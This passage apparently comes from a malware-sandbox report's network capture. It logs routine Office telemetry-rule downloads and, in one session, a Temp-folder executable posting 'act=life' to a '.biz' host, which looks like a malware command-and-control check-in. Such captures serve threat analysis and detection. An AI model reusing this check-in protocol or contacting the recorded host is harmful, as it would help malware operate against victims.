2024-11-29 18:50:15 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 31216168-001e-000b-5343-4015a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185015Z-174f7845968frfdmhC1EWRxxbw00000010c000000000ae86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:15 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:16 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 8df6d9b2-601e-003d-1f0a-416f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185016Z-174f7845968pf68xhC1EWRr4h800000010mg000000006v4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:16 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:16 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 922d60ff-b01e-0021-755f-40cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185016Z-174f7845968cpnpfhC1EWR3afc0000000zvg00000000hy62 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:16 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:16 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 62c5240a-b01e-0097-3411-414f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185016Z-174f7845968pf68xhC1EWRr4h800000010hg00000000cfyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:16 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:16 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9875fcdf-d01e-00ad-1c91-3fe942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185016Z-174f7845968swgbqhC1EWRmnb400000010d000000000hq9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:17 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: a0c05303-f01e-0000-2d91-3f193e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185017Z-174f7845968pf68xhC1EWRr4h800000010n0000000006nh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:18 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:18 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 069bf3a9-401e-0016-0bf6-4153e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185018Z-174f784596886s2bhC1EWR743w000000109g00000000gcs9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:18 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:18 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:18 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 99560e56-401e-00a3-21e1-418b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185018Z-174f7845968glpgnhC1EWR7uec00000010fg00000000a4tp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:18 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:18 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:19 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:18 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: eb59525c-401e-0015-063a-400e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185018Z-174f7845968l4kp6hC1EWRe88400000010g000000000g20n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:19 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:18 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:19 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 4f6bb067-e01e-0020-22cb-41de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185018Z-174f7845968n2hr8hC1EWR9cag0000000zvg00000000p935 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:19 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:19 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:19 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: effa0956-a01e-0032-4c91-3f1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185019Z-174f7845968kvnqxhC1EWRmf3g0000000m1g00000000h6x4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:20 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49872	104.21.16.9	443	8184	C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:20 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-11-29 18:50:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-29 18:50:21 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=scqbubcp0gcokad2r6dehtkhq0; expires=Tue, 25-Mar-2025 12:36:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o9UpjlWyAeiBNwavLHpGhReMtpR7sGI7O7ZbsagDnLcTwPJQ%2FIF7cYZ%2BCM2PHJxUJv4j2mbuKtakolq6XKXWM69FzHN1Gik8LO8uHGgPlRdxfeIWR5KEjIPxZVT0FVpHysm1Elg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4c8667a6e4213-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2333&min_rtt=2329&rtt_var=881&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1236764&cwnd=227&unsent_bytes=0&cid=e959e37349a593b5&ts=979&x=0"
2024-11-29 18:50:21 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-29 18:50:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
